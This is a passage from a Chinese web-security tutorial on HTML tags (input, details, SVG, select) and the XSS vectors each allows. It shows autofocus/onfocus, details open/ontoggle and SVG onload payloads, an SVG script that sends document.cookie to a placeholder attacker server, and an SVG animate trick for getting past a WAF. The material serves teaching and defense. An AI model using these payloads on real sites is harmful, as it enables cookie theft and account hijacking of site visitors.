\u7ade\u4e89\u7126\u70b9，\u4ece\u800c\u89e6\u53d1onblur\u4e8b\u4ef6：<\/p>\n
<input onblur=alert(1) autofocus><input autofocus> <\/p>\n
input \u6807\u7b7e\u7684 autofocus \u5c5e\u6027\u89c4\u5b9a\u5f53\u9875\u9762\u52a0\u8f7d\u65f6 \u5143\u7d20\u5e94\u8be5\u81ea\u52a8\u83b7\u5f97\u7126\u70b9\u3002<\/p>\n
\u53ef\u4ee5\u901a\u8fc7autofocus\u5c5e\u6027\u81ea\u52a8\u6267\u884c\u672c\u8eab\u7684focus\u4e8b\u4ef6，\u8fd9\u4e2a\u5411\u91cf\u662f\u4f7f\u7126\u70b9\u81ea\u52a8\u8df3\u5230\u8f93\u5165\u5143\u7d20\u4e0a，\u89e6\u53d1\u7126\u70b9\u4e8b\u4ef6，\u65e0\u9700\u7528\u6237\u53bb\u89e6\u53d1：<\/p>\n
<input onfocus="alert(1);" autofocus>
\n" \u03bfnclick=alert(1)> \u8fd9\u6837\u9700\u8981\u70b9\u51fb\u4e00\u4e0b\u8f93\u5165\u6846<br>
\n" onmouseover=alert(1)> \u9700\u8981\u9f20\u6807\u5212\u8fc7\u8f93\u5165\u6846<br> <\/p>\n
2.4.3.6.1. \u89e3\u91ca\u4e00\u4e0b<\/h6>\n
\u7126\u70b9\u4e8b\u4ef6（onfocus\/onblur）\u662fHTML\u4e2d\u7528\u6237\u4ea4\u4e92\u7684\u57fa\u7840\u4e8b\u4ef6，\u4f46\u901a\u8fc7autofocus\u5c5e\u6027\u53ef\u7ed5\u8fc7\u7528\u6237\u64cd\u4f5c\u81ea\u52a8\u89e6\u53d1，\u8fd9\u662fXSS\u653b\u51fb\u7684\u5e38\u89c1\u5229\u7528\u70b9\u3002\u4ee5\u4e0b\u662f\u5173\u952e\u573a\u666f\u89e3\u6790：<\/p>\n
\u3010\u7126\u70b9：\u7c7b\u4f3c\u4e8e\u662f\u5bf9\u8c61\u3011<\/p>\n
\u3010\u89e6\u53d1\u65b9\u5f0f\u6709\u4e24\u79cd：\u81ea\u52a8\u4e0e\u624b\u52a8onfocus\u3011<\/p>\n
onfocus：\u4e3b\u52a8\u805a\u7126\u89e6\u53d1<\/p>\n
\n- \u7528\u6237\u89e6\u53d1：\u70b9\u51fb\u8f93\u5165\u6846\u6216\u6309Tab\u952e\u805a\u7126\u65f6\u89e6\u53d1\u3002<\/li>\n<\/ul>\n
<input onfocus="alert('\u624b\u52a8\u805a\u7126\u89e6\u53d1');"> <!– \u9700\u7528\u6237\u70b9\u51fb\/Tab –>
\n<input onfocus="alert('\u4f60\u70b9\u51fb\u6211\u4e86！');"> <\/p>\n
\u6548\u679c：\u4f60\u5fc5\u987b\u70b9\u51fb\u8f93\u5165\u6846，\u624d\u4f1a\u5f39\u51fa\u63d0\u793a\u6846\u3002<\/p>\n
\n
autofocus：\u81ea\u52a8\u89e6\u53d1：\u901a\u8fc7autofocus\u5c5e\u6027，\u9875\u9762\u52a0\u8f7d\u65f6\u81ea\u52a8\u805a\u7126\u5e76\u6267\u884confocus\u4ee3\u7801\u3002<\/p>\n
<input onfocus="alert('\u81ea\u52a8\u805a\u7126\u89e6\u53d1');" autofocus> <!– \u65e0\u9700\u7528\u6237\u64cd\u4f5c –>
\n<input onfocus="alert('\u6211\u81ea\u52a8\u5f39\u51fa\u6765\u4e86！');" autofocus> <\/p>\n
\u6548\u679c：\u9875\u9762\u4e00\u6253\u5f00，\u63d0\u793a\u6846\u76f4\u63a5\u5f39\u51fa，\u4f60\u4ec0\u4e48\u90fd\u4e0d\u7528\u505a\u3002<\/p>\n
\n
onblur：\u7126\u70b9\u4e22\u5931\u89e6\u53d1<\/p>\n
autofocus\u7684\u89c4\u5219\u662f：\u4e00\u4e2a\u9875\u9762\u53ea\u80fd\u6709\u4e00\u4e2a\u5143\u7d20\u81ea\u52a8\u83b7\u5f97\u7126\u70b9\u3002\u5982\u679c\u591a\u4e2a\u5143\u7d20\u90fd\u52a0\u4e86autofocus，\u6d4f\u89c8\u5668\u4f1a\u4f18\u5148\u7ed9\u7b2c\u4e00\u4e2a\u5143\u7d20\u7126\u70b9，\u7b2c\u4e8c\u4e2a\u5143\u7d20\u56e0\u4e3a\u201c\u6ca1\u62a2\u5230\u7126\u70b9\u201d，\u76f4\u63a5\u89e6\u53d1onblur（\u5931\u53bb\u7126\u70b9）\u3002<\/p>\n
<input onblur="alert('\u7126\u70b9\u4e22\u5931\u89e6\u53d1');" autofocus> <!– \u7b2c\u4e00\u4e2a：\u83b7\u5f97\u7126\u70b9 –>
\n<input autofocus> <!– \u7b2c\u4e8c\u4e2a：\u7ade\u4e89\u5931\u8d25，\u76f4\u63a5\u89e6\u53d1onblur –> <\/p>\n
\u5176\u4ed6\u4ea4\u4e92\u4e8b\u4ef6\u7684\u89e6\u53d1\u6761\u4ef6<\/p>\n
\n- onclick：\u9700\u7528\u6237\u70b9\u51fb\u8f93\u5165\u6846\u624d\u80fd\u89e6\u53d1（\u65e0\u81ea\u52a8\u89e6\u53d1\u9014\u5f84）\u3002<\/li>\n
- onmouseover：\u9700\u7528\u6237\u9f20\u6807\u5212\u8fc7\u8f93\u5165\u6846\u624d\u80fd\u89e6\u53d1（\u4f9d\u8d56\u9f20\u6807\u64cd\u4f5c）\u3002<\/li>\n<\/ul>\n
2.4.3.6.2. \u5b89\u5168\u98ce\u9669：XSS\u653b\u51fb\u7684\u201c\u81ea\u52a8\u89e6\u53d1\u201d\u5411\u91cf<\/h6>\n
autofocus+onfocus\u662f\u6700\u5371\u9669\u7684\u81ea\u52a8\u89e6\u53d1\u7ec4\u5408，\u653b\u51fb\u8005\u53ef\u6784\u9020\u5982\u4e0b payload \u6ce8\u5165\u7f51\u9875：<\/p>\n
<input onfocus="stealCookie();" autofocus> <!– \u9875\u9762\u52a0\u8f7d\u5373\u6267\u884c\u6076\u610f\u4ee3\u7801 –> <\/p>\n
\n- \u98ce\u9669\u70b9：\u65e0\u9700\u7528\u6237\u4efb\u4f55\u64cd\u4f5c，\u6076\u610f\u4ee3\u7801\u5728\u9875\u9762\u52a0\u8f7d\u65f6\u81ea\u52a8\u6267\u884c，\u7a83\u53d6Cookie\u3001\u91cd\u5b9a\u5411\u9875\u9762\u7b49\u3002<\/li>\n<\/ul>\n
2.4.4. details \u6807\u7b7e<\/h5>\n
<details>\u6807\u7b7e\u662fHTML5\u65b0\u589e\u7684\u6298\u53e0\/\u5c55\u5f00\u7ec4\u4ef6，\u7528\u4e8e\u521b\u5efa\u53ef\u4ea4\u4e92\u7684\u201c\u624b\u98ce\u7434\u201d\u6548\u679c，\u9ed8\u8ba4\u6298\u53e0\u5185\u5bb9，\u70b9\u51fb\u540e\u5c55\u5f00，\u5e38\u7528\u4e8e\u9690\u85cf\u975e\u5173\u952e\u4fe1\u606f（\u5982\u8be6\u60c5\u3001\u5e2e\u52a9\u6587\u672c）\u3002<\/p>\n
\u3010\u53ef\u4ee5\u901a\u8fc7f12\u53bb\u67e5\u770b\u9875\u9762\u7684\u6e90\u4ee3\u7801，\u4f1a\u6709\u8fd9\u4e2a\u7684\u51fa\u73b0html\u3011<\/p>\n
2.4.4.1. \u57fa\u7840\u7528\u6cd5<\/h6>\n
<details>
\n <summary>\u70b9\u51fb\u5c55\u5f00\u66f4\u591a\u4fe1\u606f<\/summary>
\n <p>\u8fd9\u91cc\u662f\u6298\u53e0\u7684\u5185\u5bb9，\u70b9\u51fb\u4e0a\u65b9\u6807\u9898\u53ef\u5c55\u5f00\/\u6536\u8d77\u3002<\/p>
\n<\/details> <\/p>\n
\n- <summary>：\u5fc5\u9009\u5b50\u6807\u7b7e，\u5b9a\u4e49\u6298\u53e0\u9762\u677f\u7684\u201c\u6807\u9898\u680f\u201d（\u70b9\u51fb\u89e6\u53d1\u5c55\u5f00\/\u6536\u8d77）\u3002<\/li>\n
- \u5185\u90e8\u5185\u5bb9：<summary>\u4e4b\u5916\u7684\u90e8\u5206\u4e3a\u6298\u53e0\u5185\u5bb9（\u53ef\u5305\u542b\u4efb\u610fHTML\u5143\u7d20，\u5982\u6587\u672c\u3001\u56fe\u7247\u3001\u5217\u8868）\u3002<\/li>\n<\/ul>\n
2.4.4.2. \u5173\u952e\u7279\u6027<\/h6>\n\n- \u9ed8\u8ba4\u6298\u53e0：\u9875\u9762\u52a0\u8f7d\u65f6\u5185\u5bb9\u9ed8\u8ba4\u9690\u85cf，\u70b9\u51fb<summary>\u540e\u5c55\u5f00\u3002<\/li>\n
- open\u5c5e\u6027：\u6dfb\u52a0open\u53ef\u8ba9\u9762\u677f\u9ed8\u8ba4\u5c55\u5f00：<\/li>\n<\/ul>\n
<details open>
\n <summary>\u9ed8\u8ba4\u5c55\u5f00\u7684\u9762\u677f<\/summary>
\n <p>\u5185\u5bb9\u76f4\u63a5\u53ef\u89c1<\/p>
\n<\/details> <\/p>\n
\n- \u53ef\u8bbf\u95ee\u6027：\u81ea\u52a8\u652f\u6301\u952e\u76d8\u4ea4\u4e92（\u6309Enter\u6216Space\u952e\u5207\u6362\u72b6\u6001），\u5c4f\u5e55\u9605\u8bfb\u5668\u4f1a\u8bc6\u522b\u4e3a\u201c\u6298\u53e0\u63a7\u4ef6\u201d\u3002<\/li>\n<\/ul>\n
2.4.4.3. \u5e38\u89c1\u4f7f\u7528\u573a\u666f<\/h6>\n\n- FAQ\u95ee\u7b54：\u6bcf\u4e2a\u95ee\u9898\u4f5c\u4e3a<summary>，\u7b54\u6848\u4f5c\u4e3a\u6298\u53e0\u5185\u5bb9\u3002<\/li>\n
- \u4ee3\u7801\u793a\u4f8b：\u9690\u85cf\u5197\u957f\u4ee3\u7801，\u70b9\u51fb\u5c55\u5f00\u67e5\u770b\u3002<\/li>\n
- \u8be6\u60c5\u8865\u5145：\u5982\u5546\u54c1\u8be6\u60c5\u9875\u7684\u201c\u89c4\u683c\u53c2\u6570\u201d\u201c\u552e\u540e\u653f\u7b56\u201d\u3002<\/li>\n<\/ul>\n
2.4.4.4. \u6ce8\u610f\u4e8b\u9879<\/h6>\n\n- \u517c\u5bb9\u6027：\u652f\u6301\u6240\u6709\u73b0\u4ee3\u6d4f\u89c8\u5668（IE\u4e0d\u652f\u6301，\u9700\u964d\u7ea7\u5904\u7406）\u3002<\/li>\n
- \u6837\u5f0f\u81ea\u5b9a\u4e49：\u53ef\u901a\u8fc7CSS\u4fee\u6539<summary>\u7684\u9ed8\u8ba4\u7bad\u5934（\u5982list-style-type: none;\u9690\u85cf\u7bad\u5934，\u81ea\u5b9a\u4e49\u56fe\u6807）\u3002<\/li>\n<\/ul>\n
2.4.4.5. \u4e00\u53e5\u8bdd\u603b\u7ed3<\/h6>\n
<details>\u662f\u201c\u5185\u5bb9\u6298\u53e0\u795e\u5668\u201d，\u642d\u914d<summary>\u5b9e\u73b0\u8f7b\u91cf\u4ea4\u4e92，\u65e0\u9700JavaScript\u5373\u53ef\u5b8c\u6210\u5c55\u5f00\/\u6536\u8d77，\u9002\u5408\u4f18\u5316\u9875\u9762\u4fe1\u606f\u5c42\u7ea7 📂\u3002<\/p>\n
2.4.4.6. \u653b\u51fb<\/h6>\n
\u4f7f\u7528details \u6807\u7b7e\u7684 open \u5c5e\u6027\u89e6\u53d1ontoggle\u4e8b\u4ef6，\u65e0\u9700\u7528\u6237\u53bb\u70b9\u51fb\u5373\u53ef\u89e6\u53d1：<\/p>\n
<details open ontoggle=alert(1);> <\/p>\n
\n
ontoggle\u662f<details>\u7684\u4e13\u5c5e\u4e8b\u4ef6，\u5f53\u9762\u677f\u4ece\u201c\u6536\u8d77\u2192\u5c55\u5f00\u201d\u6216\u201c\u5c55\u5f00\u2192\u6536\u8d77\u201d\u65f6\u89e6\u53d1\u3002<\/p>\n
\u4f46\u901a\u8fc7open\u5c5e\u6027，\u53ef\u7ed5\u8fc7\u7528\u6237\u70b9\u51fb\u81ea\u52a8\u89e6\u53d1：<\/p>\n
2.4.4.6.1. \u624b\u52a8\u89e6\u53d1：\u9700\u8981\u7528\u6237\u70b9\u51fb<\/h6>\n
\u9ed8\u8ba4\u60c5\u51b5\u4e0b，<details>\u662f\u6536\u8d77\u7684，\u7528\u6237\u70b9\u51fb\u540e\u624d\u4f1a\u89e6\u53d1ontoggle：<\/p>\n
<details ontoggle="alert('\u4f60\u70b9\u51fb\u5c55\u5f00\u4e86！');">
\n <summary>\u70b9\u51fb\u5c55\u5f00<\/summary>
\n <p>\u9690\u85cf\u7684\u5185\u5bb9<\/p>
\n<\/details> <\/p>\n
\n- \u6548\u679c：\u7528\u6237\u5fc5\u987b\u70b9\u51fb\u201c\u70b9\u51fb\u5c55\u5f00\u201d，\u624d\u4f1a\u5f39\u51fa\u63d0\u793a\u6846\u3002<\/li>\n<\/ul>\n
2.4.4.6.2. \u81ea\u52a8\u89e6\u53d1：\u65e0\u9700\u7528\u6237\u64cd\u4f5c（\u91cd\u70b9！）<\/h6>\n
\u5f53<details>\u6dfb\u52a0open\u5c5e\u6027\u65f6，\u9875\u9762\u52a0\u8f7d\u65f6\u4f1a\u9ed8\u8ba4\u5c55\u5f00，\u6b64\u65f6\u9762\u677f\u72b6\u6001\u4ece\u201c\u521d\u59cb\u6536\u8d77\u2192\u9ed8\u8ba4\u5c55\u5f00\u201d，\u76f4\u63a5\u89e6\u53d1ontoggle\u4e8b\u4ef6：<\/p>\n
<details open ontoggle="alert('\u6211\u81ea\u52a8\u5c55\u5f00\u5e76\u89e6\u53d1\u4e86！');">
\n <summary>\u81ea\u52a8\u5c55\u5f00<\/summary>
\n <p>\u9690\u85cf\u7684\u5185\u5bb9<\/p>
\n<\/details> <\/p>\n
\n- \u6548\u679c：\u9875\u9762\u4e00\u6253\u5f00，\u63d0\u793a\u6846\u76f4\u63a5\u5f39\u51fa，\u4f60\u4ec0\u4e48\u90fd\u4e0d\u7528\u505a\u3002<\/li>\n<\/ul>\n
2.4.4.6.3. \u4e3a\u4ec0\u4e48\u8fd9\u662fXSS\u653b\u51fb\u7684\u201c\u65b0\u5411\u91cf\u201d？<\/h6>\n
\u653b\u51fb\u8005\u53ef\u4ee5\u5229\u7528open+ontoggle\u6784\u9020\u81ea\u52a8\u6267\u884c\u7684\u6076\u610f\u4ee3\u7801，\u6bd4\u5982：<\/p>\n
<details open ontoggle="stealYourData();">
\n <summary>\u65e0\u5bb3\u7684\u6807\u9898<\/summary>
\n <p>\u9690\u85cf\u7684\u6076\u610f\u4ee3\u7801<\/p>
\n<\/details> <\/p>\n
\n- \u98ce\u9669：\u9875\u9762\u52a0\u8f7d\u65f6，\u6076\u610f\u4ee3\u7801\u76f4\u63a5\u6267\u884c，\u7528\u6237\u5b8c\u5168\u6ca1\u611f\u77e5（\u56e0\u4e3a\u9762\u677f\u9ed8\u8ba4\u5c55\u5f00，\u770b\u8d77\u6765\u548c\u666e\u901a\u5185\u5bb9\u4e00\u6837）\u3002<\/li>\n<\/ul>\n
2.4.4.6.4. \u4e00\u53e5\u8bdd\u603b\u7ed3<\/h6>\n
<details>\u7684open\u5c5e\u6027\u8ba9\u201c\u6298\u53e0\u9762\u677f\u201d\u53d8\u6210\u4e86\u81ea\u52a8\u6267\u884c\u4ee3\u7801\u7684\u201c\u5f00\u5173\u201d\u2014\u2014\u672c\u6765\u9700\u8981\u7528\u6237\u70b9\u51fb\u624d\u89e6\u53d1\u7684\u4e8b\u4ef6，\u73b0\u5728\u9875\u9762\u52a0\u8f7d\u5c31\u8dd1\u3002\u8bb0\u4f4f：\u51e1\u662f\u201c\u9ed8\u8ba4\u72b6\u6001\u53d8\u5316\u5c31\u80fd\u89e6\u53d1\u7684\u4e8b\u4ef6\u201d，\u90fd\u662fXSS\u653b\u51fb\u7684\u6f5c\u5728\u76ee\u6807 🛡\ufe0f\u3002<\/p>\n
2.4.5. SVG\u6807\u7b7e<\/h5>\n
SVG（Scalable Vector Graphics）\u662f\u57fa\u4e8eXML\u7684\u77e2\u91cf\u56fe\u5f62\u683c\u5f0f，\u7528\u4e8e\u5728\u7f51\u9875\u6216\u5e94\u7528\u4e2d\u6e32\u67d3\u9ad8\u6e05\u6670\u5ea6\u7684\u56fe\u5f62（\u653e\u5927\u4e0d\u5931\u771f）\u3002\u4ee5\u4e0b\u662fSVG\u6807\u7b7e\u7684\u6838\u5fc3\u77e5\u8bc6\u70b9：<\/p>\n
2.4.5.1. SVG\u6807\u7b7e\u7684\u57fa\u672c\u7ed3\u6784<\/h6>\n
\u4e00\u4e2a\u5b8c\u6574\u7684SVG\u6587\u4ef6\u5fc5\u987b\u5305\u542b\u6839\u6807\u7b7e<svg>，\u5e76\u6307\u5b9a\u547d\u540d\u7a7a\u95f4\u548c\u5c3a\u5bf8：<\/p>\n
<svg xmlns="http:\/\/www.w3.org\/2000\/svg" width="200" height="200">
\n <!– \u56fe\u5f62\u5185\u5bb9（\u5982\u77e9\u5f62\u3001\u5706\u5f62\u3001\u8def\u5f84\u7b49） –>
\n <rect x="50" y="50" width="100" height="100" fill="red" \/>
\n<\/svg> <\/p>\n
\n- xmlns：\u5fc5\u987b\u58f0\u660eSVG\u547d\u540d\u7a7a\u95f4（\u56fa\u5b9a\u503chttp:\/\/www.w3.org\/2000\/svg）\u3002<\/li>\n
- width\/height：\u56fe\u5f62\u7684\u663e\u793a\u5c3a\u5bf8（\u652f\u6301\u50cf\u7d20\u3001\u767e\u5206\u6bd4\u7b49\u5355\u4f4d）\u3002<\/li>\n<\/ul>\n
2.4.5.2. \u5e38\u7528\u5b50\u6807\u7b7e：\u7ed8\u5236\u57fa\u7840\u56fe\u5f62<\/h6>\n
SVG\u901a\u8fc7\u5b50\u6807\u7b7e\u7ed8\u5236\u4e0d\u540c\u5f62\u72b6，\u6838\u5fc3\u6807\u7b7e\u5982\u4e0b：<\/p>\n
\n\n\n\n\u6807\u7b7e<\/p>\n<\/td>\n
\n\u4f5c\u7528<\/p>\n<\/td>\n
\n\u5173\u952e\u5c5e\u6027<\/p>\n<\/td>\n<\/tr>\n
\n\n<rect><\/p>\n<\/td>\n
\n\u77e9\u5f62<\/p>\n<\/td>\n
\nx\/y（\u4f4d\u7f6e）\u3001width\/height（\u5c3a\u5bf8）\u3001fill（\u586b\u5145\u8272）<\/p>\n<\/td>\n<\/tr>\n
\n\n<circle><\/p>\n<\/td>\n
\n\u5706\u5f62<\/p>\n<\/td>\n
\ncx\/cy（\u5706\u5fc3）\u3001r（\u534a\u5f84）\u3001stroke（\u8fb9\u6846\u8272）<\/p>\n<\/td>\n<\/tr>\n
\n\n<path><\/p>\n<\/td>\n
\n\u81ea\u5b9a\u4e49\u8def\u5f84<\/p>\n<\/td>\n
\nd（\u8def\u5f84\u6307\u4ee4，\u5982M\u79fb\u52a8\u3001L\u753b\u7ebf\u3001Z\u95ed\u5408）<\/p>\n<\/td>\n<\/tr>\n
\n\n<text><\/p>\n<\/td>\n
\n\u6587\u672c<\/p>\n<\/td>\n
\nx\/y（\u4f4d\u7f6e）\u3001font-size（\u5b57\u53f7）<\/p>\n<\/td>\n<\/tr>\n
\n\n<g><\/p>\n<\/td>\n
\n\u5206\u7ec4\u5bb9\u5668<\/p>\n<\/td>\n
\n\u7528\u4e8e\u5c06\u591a\u4e2a\u56fe\u5f62\u7ec4\u5408，\u7edf\u4e00\u8bbe\u7f6e\u6837\u5f0f（\u5982transform\u65cb\u8f6c）<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
2.4.5.3. SVG\u7684\u6838\u5fc3\u4f18\u52bf<\/h6>\n\n- \u77e2\u91cf\u7279\u6027：\u653e\u5927\u540e\u4e0d\u4f1a\u6a21\u7cca（\u9002\u5408\u56fe\u6807\u3001Logo\u3001\u56fe\u8868）\u3002<\/li>\n
- \u53ef\u4ea4\u4e92\u6027：\u652f\u6301\u6dfb\u52a0\u4e8b\u4ef6（\u5982onclick）\u548c\u52a8\u753b（\u5982<animate>\u6807\u7b7e）\u3002<\/li>\n
- \u8f7b\u91cf\u7075\u6d3b：\u6587\u4ef6\u4f53\u79ef\u5c0f，\u53ef\u901a\u8fc7CSS\u6216JS\u52a8\u6001\u4fee\u6539\u6837\u5f0f\/\u5185\u5bb9\u3002<\/li>\n<\/ul>\n
2.4.5.4. SVG\u7684\u5e38\u89c1\u7528\u9014<\/h6>\n\n- \u7f51\u9875\u56fe\u6807：\u66ff\u4ee3PNG\/JPG，\u5b9e\u73b0\u9ad8\u6e05\u9002\u914d（\u5982Iconfont\u7684SVG\u56fe\u6807）\u3002<\/li>\n
- \u6570\u636e\u53ef\u89c6\u5316：\u7ed3\u5408D3.js\u7b49\u5e93\u7ed8\u5236\u52a8\u6001\u56fe\u8868（\u6298\u7ebf\u56fe\u3001\u997c\u56fe）\u3002<\/li>\n
- \u52a8\u753b\u6548\u679c：\u901a\u8fc7<animate>\u6216CSS\u5b9e\u73b0\u56fe\u5f62\u7684\u5e73\u6ed1\u8fc7\u6e21（\u5982\u52a0\u8f7d\u52a8\u753b）\u3002<\/li>\n<\/ul>\n
2.4.5.5. \u4e00\u53e5\u8bdd\u603b\u7ed3<\/h6>\n
SVG\u662f\u7f51\u9875\u77e2\u91cf\u56fe\u5f62\u7684\u6807\u51c6\u683c\u5f0f，\u901a\u8fc7XML\u6807\u7b7e\u5b9a\u4e49\u56fe\u5f62，\u517c\u5177\u9ad8\u6e05\u3001\u4ea4\u4e92\u3001\u8f7b\u91cf\u4e09\u5927\u4f18\u52bf，\u662f\u73b0\u4ee3\u524d\u7aef\u5f00\u53d1\u7684\u5fc5\u5907\u6280\u672f\u4e4b\u4e00 🎨\u3002<\/p>\n
2.4.5.6. \u653b\u51fb<\/h6>\n
SVG\u7684onload\u4e8b\u4ef6\u548c<script>\u6807\u7b7e\u662f\u6700\u5e38\u89c1\u7684\u81ea\u52a8\u89e6\u53d1\u624b\u6bb5，\u65e0\u9700\u7528\u6237\u70b9\u51fb\u5373\u53ef\u6267\u884c\u6076\u610f\u4ee3\u7801：<\/p>\n
2.4.5.6.1. onload\u4e8b\u4ef6：\u9875\u9762\u52a0\u8f7d\u5373\u6267\u884c<\/h6>\n
SVG\u52a0\u8f7d\u65f6\u81ea\u52a8\u89e6\u53d1onload，\u76f4\u63a5\u6267\u884c\u5185\u8054\u811a\u672c：<\/p>\n
<svg xmlns="http:\/\/www.w3.org\/2000\/svg" onload="alert('SVG XSS')">
\n <!– \u56fe\u5f62\u5185\u5bb9（\u53ef\u9690\u85cf） –>
\n<\/svg> <\/p>\n
\n- \u98ce\u9669：\u5d4c\u5165\u7f51\u9875\u6216\u901a\u8fc7<img src="\u6076\u610f.svg">\u5f15\u7528\u65f6，\u6d4f\u89c8\u5668\u4f1a\u89e3\u6790\u5e76\u6267\u884c\u811a\u672c\u3002<\/li>\n<\/ul>\n
2.4.5.6.2. <script>\u6807\u7b7e：\u76f4\u63a5\u5d4c\u5165\u811a\u672c<\/h6>\n
SVG\u5141\u8bb8\u76f4\u63a5\u63d2\u5165<script>\u6807\u7b7e，\u5185\u5bb9\u4f1a\u88ab\u6d4f\u89c8\u5668\u5f53\u4f5cJavaScript\u6267\u884c：<\/p>\n
<svg xmlns="http:\/\/www.w3.org\/2000\/svg">
\n <script>
\n fetch('https:\/\/\u653b\u51fb\u8005\u670d\u52a1\u5668?cookie=' + document.cookie); \/\/ \u7a83\u53d6Cookie
\n <\/script>
\n<\/svg> <\/p>\n
2.4.5.6.3. \u52a8\u753b\u6807\u7b7e\u7ed5\u8fc7WAF：animate\/animateTransform<\/h6>\n
\u5229\u7528SVG\u52a8\u753b\u5c5e\u6027（\u5982values\/keyTimes）\u6df7\u6dc6\u6076\u610f\u4ee3\u7801，\u7ed5\u8fc7\u9632\u706b\u5899\u68c0\u6d4b：<\/p>\n
<svg>
\n <animate
\n xlink:href="#xss"
\n attributeName="href"
\n dur="5s"
\n repeatCount="indefinite"
\n keyTimes="0;0;1"
\n values="https:\/\/\u6b63\u5e38\u7f51\u5740?;javascript:alert(1);0"
\n \/>
\n <a id="xss"><text x="20" y="20">\u70b9\u51fb\u89e6\u53d1<\/text><\/a>
\n<\/svg> <\/p>\n
\n- \u539f\u7406：\u901a\u8fc7\u52a8\u753b\u5faa\u73af\u52a0\u8f7djavascript:\u4f2a\u534f\u8bae，\u7ed5\u8fc7WAF\u5bf9\u9759\u6001\u811a\u672c\u7684\u68c0\u6d4b\u3002<\/li>\n<\/ul>\n
2.4.6. select \u6807\u7b7e<\/h5>\n
<select>\u662fHTML\u4e2d\u7528\u4e8e\u521b\u5efa\u4e0b\u62c9\u9009\u62e9\u6846\u3010\u521b\u5efa\u4e0b\u62c9\u5217\u8868\u3011\u7684\u8868\u5355\u6807\u7b7e，\u5141\u8bb8\u7528\u6237\u4ece\u9884\u5b9a\u4e49\u9009\u9879\u4e2d\u9009\u62e9\u4e00\u4e2a\u6216\u591a\u4e2a\u503c\u3002\u4ee5\u4e0b\u662f\u5176\u6838\u5fc3\u7528\u6cd5\u4e0e\u5c5e\u6027：<\/p>\n
2.4.6.1. \u57fa\u672c\u7ed3\u6784<\/h6>\n
\u901a\u8fc7<select>\u5305\u88f9<option>\u5b50\u6807\u7b7e\u5b9e\u73b0\u4e0b\u62c9\u5217\u8868：<\/p>\n
<select name="city">
\n <option value="beijing">\u5317\u4eac<\/option>
\n <option value="shanghai" selected>\u4e0a\u6d77<\/option> <!– \u9ed8\u8ba4\u9009\u4e2d –>
\n <option value="guangzhou">\u5e7f\u5dde<\/option>
\n<\/select> <\/p>\n
\n- name：\u8868\u5355\u63d0\u4ea4\u65f6\u7684\u53c2\u6570\u540d（\u5fc5\u586b）\u3002<\/li>\n
- <option>：\u4e0b\u62c9\u9009\u9879，value\u4e3a\u63d0\u4ea4\u503c，\u6807\u7b7e\u5185\u6587\u5b57\u4e3a\u663e\u793a\u6587\u672c\u3002<\/li>\n<\/ul>\n
2.4.6.2. \u5173\u952e\u5c5e\u6027<\/h6>\n
\n\n\n\n\u5c5e\u6027<\/p>\n<\/td>\n
\n\u4f5c\u7528<\/p>\n<\/td>\n<\/tr>\n
\n\nmultiple<\/p>\n<\/td>\n
\n\u5141\u8bb8\u591a\u9009（\u6309\u4f4fCtrl\/Command\u70b9\u51fb\u53ef\u9009\u62e9\u591a\u4e2a\u9009\u9879）\u3002<\/p>\n<\/td>\n<\/tr>\n
\n\nsize<\/p>\n<\/td>\n
\n\u8bbe\u7f6e\u4e0b\u62c9\u6846\u7684\u53ef\u89c1\u884c\u6570（\u5982size="3"\u5219\u663e\u793a3\u884c\u9009\u9879，\u8d85\u51fa\u90e8\u5206\u6eda\u52a8）\u3002<\/p>\n<\/td>\n<\/tr>\n
\n\ndisabled<\/p>\n<\/td>\n
\n\u7981\u7528\u4e0b\u62c9\u6846（\u7528\u6237\u65e0\u6cd5\u4ea4\u4e92）\u3002<\/p>\n<\/td>\n<\/tr>\n
\n\nrequired<\/p>\n<\/td>\n
\n\u8868\u5355\u63d0\u4ea4\u65f6\u5fc5\u987b\u9009\u62e9（HTML5\u65b0\u589e，\u7528\u4e8e\u8868\u5355\u9a8c\u8bc1）\u3002<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
2.4.6.3. \u6269\u5c55\u7528\u6cd5：<optgroup>\u5206\u7ec4\u9009\u9879<\/h6>\n
\u901a\u8fc7<optgroup>\u53ef\u5c06\u9009\u9879\u6309\u7c7b\u522b\u5206\u7ec4，\u63d0\u5347\u53ef\u8bfb\u6027：<\/p>\n
<select name="fruit">
\n <optgroup label="\u6e29\u5e26\u6c34\u679c">
\n <option value="apple">\u82f9\u679c<\/option>
\n <option value="pear">\u68a8<\/option>
\n <\/optgroup>
\n <optgroup label="\u70ed\u5e26\u6c34\u679c">
\n <option value="banana">\u9999\u8549<\/option>
\n <option value="mango">\u8292\u679c<\/option>
\n <\/optgroup>
\n<\/select> <\/p>\n
2.4.6.4. \u5e38\u89c1\u5e94\u7528\u573a\u666f<\/h6>\n
- \u8868\u5355\u9009\u62e9：\u7528\u4e8e\u6027\u522b\u3001\u57ce\u5e02\u3001\u65e5\u671f\u7b49\u56fa\u5b9a\u9009\u9879\u7684\u9009\u62e9（\u5982\u6ce8\u518c\u9875\u9762\u7684\u201c\u51fa\u751f\u5e74\u4efd\u201d）\u3002<\/li>\n
- \u7b5b\u9009\u529f\u80fd：\u7ed3\u5408JS\u5b9e\u73b0\u52a8\u6001\u7b5b\u9009（\u5982\u7535\u5546\u7f51\u7ad9\u7684\u201c\u4ef7\u683c\u533a\u95f4\u201d\u4e0b\u62c9\u7b5b\u9009）\u3002<\/li>\n
- \u8054\u52a8\u83dc\u5355：\u901a\u8fc7onchange\u4e8b\u4ef6\u89e6\u53d1\u5176\u4ed6\u5143\u7d20\u53d8\u5316（\u5982\u9009\u62e9\u7701\u4efd\u540e\u81ea\u52a8\u52a0\u8f7d\u5bf9\u5e94\u57ce\u5e02\u5217\u8868）\u3002<\/li>\n
2.4.6.5. \u4e00\u53e5\u8bdd\u603b\u7ed3<\/h6>\n
<select>\u662fHTML\u8868\u5355\u4e2d\u4e0b\u62c9\u9009\u62e9\u4ea4\u4e92\u7684\u6838\u5fc3\u63a7\u4ef6，\u901a\u8fc7<option>\u5b9a\u4e49\u9009\u9879，\u652f\u6301\u5355\u9009\/\u591a\u9009\u3001\u5206\u7ec4\u7b49\u529f\u80fd，\u662f\u6536\u96c6\u7528\u6237\u9009\u62e9\u7c7b\u6570\u636e\u7684\u57fa\u7840\u5de5\u5177 📋\u3002<\/p>\n
2.4.7. iframe \u6807\u7b7e<\/h5>\n
